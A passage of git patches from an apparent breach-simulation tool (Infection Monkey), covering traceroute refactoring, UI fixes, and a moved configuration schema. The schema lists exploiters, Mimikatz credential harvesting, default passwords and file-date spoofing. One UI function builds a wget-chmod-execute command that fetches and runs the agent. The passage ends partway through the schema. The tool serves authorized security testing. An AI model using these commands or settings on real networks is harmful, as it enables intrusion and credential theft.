stdout.split('\r\n') +def _parse_traceroute(output, regex, ttl): + ip_lines = output.split('\n') trace_list = [] first_line_index = None @@ -213,7 +205,7 @@ def _traceroute_windows(target_ip, ttl): if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished break - re_res = re.search(IP_ADDR_RE, ip_lines[i]) + re_res = re.search(regex, ip_lines[i]) if re_res is None: ip_addr = None else: @@ -223,36 +215,35 @@ def _traceroute_windows(target_ip, ttl): return trace_list +def _traceroute_windows(target_ip, ttl): + """ + Traceroute for a specific IP/name - Windows implementation + """ + # we'll just use tracert because that's always there + cli = ["tracert", + "-d", + "-w", "250", + "-h", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + stdout = stdout.replace('\r', '') + return _parse_traceroute(stdout, IP_ADDR_RE, ttl) + + def _traceroute_linux(target_ip, ttl): """ Traceroute for a specific IP/name - Linux implementation """ - # implementation note: We're currently going to just use ping. - # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) - # while this is just ugly - # we can't use traceroute because it's not always installed - current_ttl = 1 - trace_list = [] - while current_ttl <= ttl: - cli = ["ping", - "-c", "1", - "-w", "1", - "-t", str(current_ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ips = re.findall(IP_ADDR_RE, stdout) - if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable. - return [] - elif ips[-1] in trace_list: # Failed getting this hop - trace_list.append(None) - else: - trace_list.append(ips[-1]) - dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings - if dest_ip == ips[-1]: - break + traceroute_path = get_binary_file_path("traceroute") + cli = [traceroute_path, + "-m", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() - current_ttl += 1 - - return trace_list + lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = [x[1:-1] if x else None # Removes parenthesis + for x in lines] + return lines From b2deb4b6c923fcde1efec232c0d152e8b191e6f3 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 19:09:08 +0200 Subject: [PATCH 31/89] Add doc for parse_traceroute --- monkey/infection_monkey/network/tools.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 64cc70bb6..2b5497d8b 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -192,6 +192,14 @@ def traceroute(target_ip, ttl): def _parse_traceroute(output, regex, ttl): + """ + Parses the output of traceroute (from either Linux or Windows) + :param output: The output of the traceroute + :param regex: Regex for finding an IP address + :param ttl: Max TTL. Must be the same as the TTL used as param for traceroute. + :return: List of ips which are the hops on the way to the traceroute destination. + If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None + """ ip_lines = output.split('\n') trace_list = [] From 9ccd1db30994aa77ab29369fc680bb522558cbd2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 18 Dec 2018 16:08:19 +0200 Subject: [PATCH 32/89] Make report map colored again --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 61e80737b..254d75809 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -104,7 +104,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); From 67fc46cb1848c9512703f0b35b8065828953295e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Dec 2018 11:42:40 +0200 Subject: [PATCH 33/89] Upload only 64 bit monkey to windows --- monkey/infection_monkey/exploit/hadoop.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 881ccf39d..1db521acd 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -36,6 +36,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We presume hadoop works only on 64-bit machines + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False From c184bd54f098f114220b3dbb0494bde2ef67ba3f Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 19 Dec 2018 18:19:48 +0200 Subject: [PATCH 34/89] - Changed curl to wget, its available out of the box on more OSs. --- .../monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 4543a5c34..5c93065c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent { generateLinuxCmd(ip, is32Bit) { let bitText = is32Bit ? '32' : '64'; - return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` + return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` } generateWindowsCmd(ip, is32Bit) { From 079038783b7d5062b8aff4356380fba7748e5ae6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 11:26:53 +0200 Subject: [PATCH 35/89] Update monkey/infection_monkey/network/tools.py Co-Authored-By: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2b5497d8b..a5f8c8f28 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -14,7 +14,7 @@ from infection_monkey.pyinstaller_utils import get_binary_file_path DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' -IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' +IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 From 6ff2e7f541d3f432017520296ba29879c7d9def7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 12:21:11 +0200 Subject: [PATCH 36/89] Fix CR comment --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5f8c8f28..2408663aa 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -251,7 +251,7 @@ def _traceroute_linux(target_ip, ttl): proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) stdout, stderr = proc_obj.communicate() - lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl) lines = [x[1:-1] if x else None # Removes parenthesis for x in lines] return lines From 606f3525f7bde8cd731abca69ffdd563de516e0b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 23 Dec 2018 16:51:27 +0200 Subject: [PATCH 37/89] Fix CR + add 32/64bit binary choice --- monkey/infection_monkey/monkey.spec | 3 ++- monkey/infection_monkey/network/tools.py | 19 +++++++++++++++++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 29fe7db04..7315e10f5 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -97,7 +97,8 @@ def get_msvcr(): def get_traceroute_binaries(): - return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' + return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] def get_monkey_filename(): diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 2408663aa..a38273260 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,6 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path +from infection_monkey.utils import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 @@ -191,6 +192,21 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) +def _get_traceroute_bin_path(): + """ + Gets the path to the prebuilt traceroute executable + + This is the traceroute utility from: http://traceroute.sourceforge.net + Its been built using the buildroot utility with the following settings: + * Statically link to musl and all other required libs + * Optimize for size + This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected + + :return: Path to traceroute executable + """ + return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32") + + def _parse_traceroute(output, regex, ttl): """ Parses the output of traceroute (from either Linux or Windows) @@ -244,8 +260,7 @@ def _traceroute_linux(target_ip, ttl): Traceroute for a specific IP/name - Linux implementation """ - traceroute_path = get_binary_file_path("traceroute") - cli = [traceroute_path, + cli = [_get_traceroute_bin_path(), "-m", str(ttl), target_ip] proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) From e82fb7f0610eafb6ca5c7762fab87442711cc2d0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 23 Dec 2018 19:35:36 +0200 Subject: [PATCH 38/89] Add default ttl --- monkey/infection_monkey/network/tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a38273260..a5e6d0783 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -179,7 +179,7 @@ def tcp_port_to_service(port): return 'tcp-' + str(port) -def traceroute(target_ip, ttl): +def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. :param target_ip: IP/name of target From 4e5ede0a723435e09858502469fe497fe0e68d5b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 24 Dec 2018 10:58:29 +0200 Subject: [PATCH 39/89] Add note on exception throwing --- monkey/infection_monkey/network/tools.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index a5e6d0783..3a9adef57 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -182,6 +182,7 @@ def tcp_port_to_service(port): def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. + Note, may throw exception on failure that should be handled by caller. :param target_ip: IP/name of target :param ttl: Max TTL :return: Sequence of IPs in the way From 796ac48c72aa5b8bb1abb82b321d334008fd63c6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 27 Dec 2018 17:14:13 +0200 Subject: [PATCH 40/89] Add timeout for URL queries --- monkey/common/cloud/aws.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 53b0690f9..6e5bc6c0e 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -6,7 +6,7 @@ __author__ = 'itay.mizeretz' class AWS(object): def __init__(self): try: - self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() except urllib2.URLError: self.instance_id = None From 5d3524cff57b7f471e4e6e203217bf08c0d11600 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 30 Dec 2018 18:11:14 +0200 Subject: [PATCH 41/89] Move config schema to separate file for easier editing --- monkey/monkey_island/cc/services/config.py | 856 +----------------- .../cc/services/config_schema.py | 855 +++++++++++++++++ 2 files changed, 856 insertions(+), 855 deletions(-) create mode 100644 monkey/monkey_island/cc/services/config_schema.py diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1b2966026..dc0ecada8 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,865 +9,11 @@ from cc.database import mongo from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses - +from config_schema import SCHEMA __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) -WARNING_SIGN = u" \u26A0" - -SCHEMA = { - "title": "Monkey", - "type": "object", - "definitions": { - "exploiter_classes": { - "title": "Exploit class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SmbExploiter" - ], - "title": "SMB Exploiter" - }, - { - "type": "string", - "enum": [ - "WmiExploiter" - ], - "title": "WMI Exploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], - "title": "MS08-067 Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "SSHExploiter" - ], - "title": "SSH Exploiter" - }, - { - "type": "string", - "enum": [ - "ShellShockExploiter" - ], - "title": "ShellShock Exploiter" - }, - { - "type": "string", - "enum": [ - "SambaCryExploiter" - ], - "title": "SambaCry Exploiter" - }, - { - "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], - "title": "ElasticGroovy Exploiter" - }, - { - "type": "string", - "enum": [ - "Struts2Exploiter" - ], - "title": "Struts2 Exploiter" - }, - { - "type": "string", - "enum": [ - "WebLogicExploiter" - ], - "title": "Oracle Web Logic Exploiter" - }, - { - "type": "string", - "enum": [ - "HadoopExploiter" - ], - "title": "Hadoop/Yarn Exploiter" - } - ] - }, - "finger_classes": { - "title": "Fingerprint class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SMBFinger" - ], - "title": "SMBFinger" - }, - { - "type": "string", - "enum": [ - "SSHFinger" - ], - "title": "SSHFinger" - }, - { - "type": "string", - "enum": [ - "PingScanner" - ], - "title": "PingScanner" - }, - { - "type": "string", - "enum": [ - "HTTPFinger" - ], - "title": "HTTPFinger" - }, - { - "type": "string", - "enum": [ - "MySQLFinger" - ], - "title": "MySQLFinger" - }, - { - "type": "string", - "enum": [ - "MSSQLFinger" - ], - "title": "MSSQLFinger" - }, - - { - "type": "string", - "enum": [ - "ElasticFinger" - ], - "title": "ElasticFinger" - } - ] - } - }, - "properties": { - "basic": { - "title": "Basic - Credentials", - "type": "object", - "properties": { - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } - } - } - }, - "basic_network": { - "title": "Basic - Network", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": "List of IPs to not scan" - }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should scan its subnets additionally" - }, - "depth": { - "title": "Distance from island", - "type": "integer", - "default": 2, - "description": - "Amount of hops allowed for the monkey to spread from the island. " - + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating too far" - }, - "subnet_scan_list": { - "title": "Scan IP/subnet list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "List of IPs/subnets the monkey should scan." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - } - } - }, - "network_analysis": { - "title": "Network Analysis", - "type": "object", - "properties": { - "inaccessible_subnets": { - "title": "Network segmentation testing", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of" - " subnets that should NOT be accessible to each other." - " For example, given the following configuration:" - " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" - " a Monkey running on 10.0.0.5 will try to access machines in the following" - " subnets: 11.0.0.2/32, 12.2.3.0/24." - " An alert on successful connections will be shown in the report" - " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" - } - } - } - } - }, - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive" - } - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": False, - "description": "Should the monkey delete its executable when going down" - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file" - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup" - } - } - }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, - "should_use_mimikatz": { - "title": "Should use Mimikatz", - "type": "boolean", - "default": True, - "description": "Determines whether to use Mimikatz" - }, - } - }, - "life_cycle": { - "title": "Life cycle", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur" - }, - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 30, - "description": "Determines the maximum number of machines the monkey is allowed to scan" - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 7, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" - }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "description": - "Determines for how long (in seconds) should the monkey wait between iterations" - }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfuly exploit on previous iterations" - } - } - } - } - }, - "internal": { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" - }, - "keep_tunnel_open_time": { - "title": "Keep tunnel open time", - "type": "integer", - "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } - } - }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, - "default": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ], - "description": "Determines which classes to use for fingerprinting" - } - } - }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } - }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" - }, - "dropper_date_reference_path_windows": { - "title": "Dropper date reference path (Windows)", - "type": "string", - "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" - }, - "dropper_date_reference_path_linux": { - "title": "Dropper date reference path (Linux)", - "type": "string", - "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" - }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" - }, - "dropper_target_path_win_64": { - "title": "Dropper target path on Windows (64bit)", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should try to move itsel instead of copying itself" - " to target path" - } - } - }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" - }, - "send_log_to_server": { - "title": "Send log to server", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "exploit_lm_hash_list": { - "title": "Exploit LM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of LM hashes to use on exploits using credentials" - }, - "exploit_ntlm_hash_list": { - "title": "Exploit NTLM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" - }, - "exploit_ssh_keys": { - "title": "SSH key pairs list", - "type": "array", - "uniqueItems": True, - "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - } - } - } - } - }, - "cnc": { - "title": "Monkey Island", - "type": "object", - "properties": { - "servers": { - "title": "Servers", - "type": "object", - "properties": { - "command_servers": { - "title": "Command servers", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], - "description": "List of command servers to try and communicate with (format is :)" - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "exploiter_classes": { - "title": "Exploits", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, - "default": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter" - ], - "description": - "Determines which exploits to use. " + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service" - }, - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" - } - } - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067" - }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" - }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } - }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" - }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' - ], - "description": "List of full paths to share folder for SambaCry to guess" - }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } - } - }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } - }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } - } - } - } - }, - "options": { - "collapsed": True - } -} # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py new file mode 100644 index 000000000..d4d294afc --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -0,0 +1,855 @@ +WARNING_SIGN = u" \u26A0" + + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SMB Exploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WMI Exploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RDP Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "MS08-067 Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSH Exploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShock Exploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCry Exploiter" + }, + { + "type": "string", + 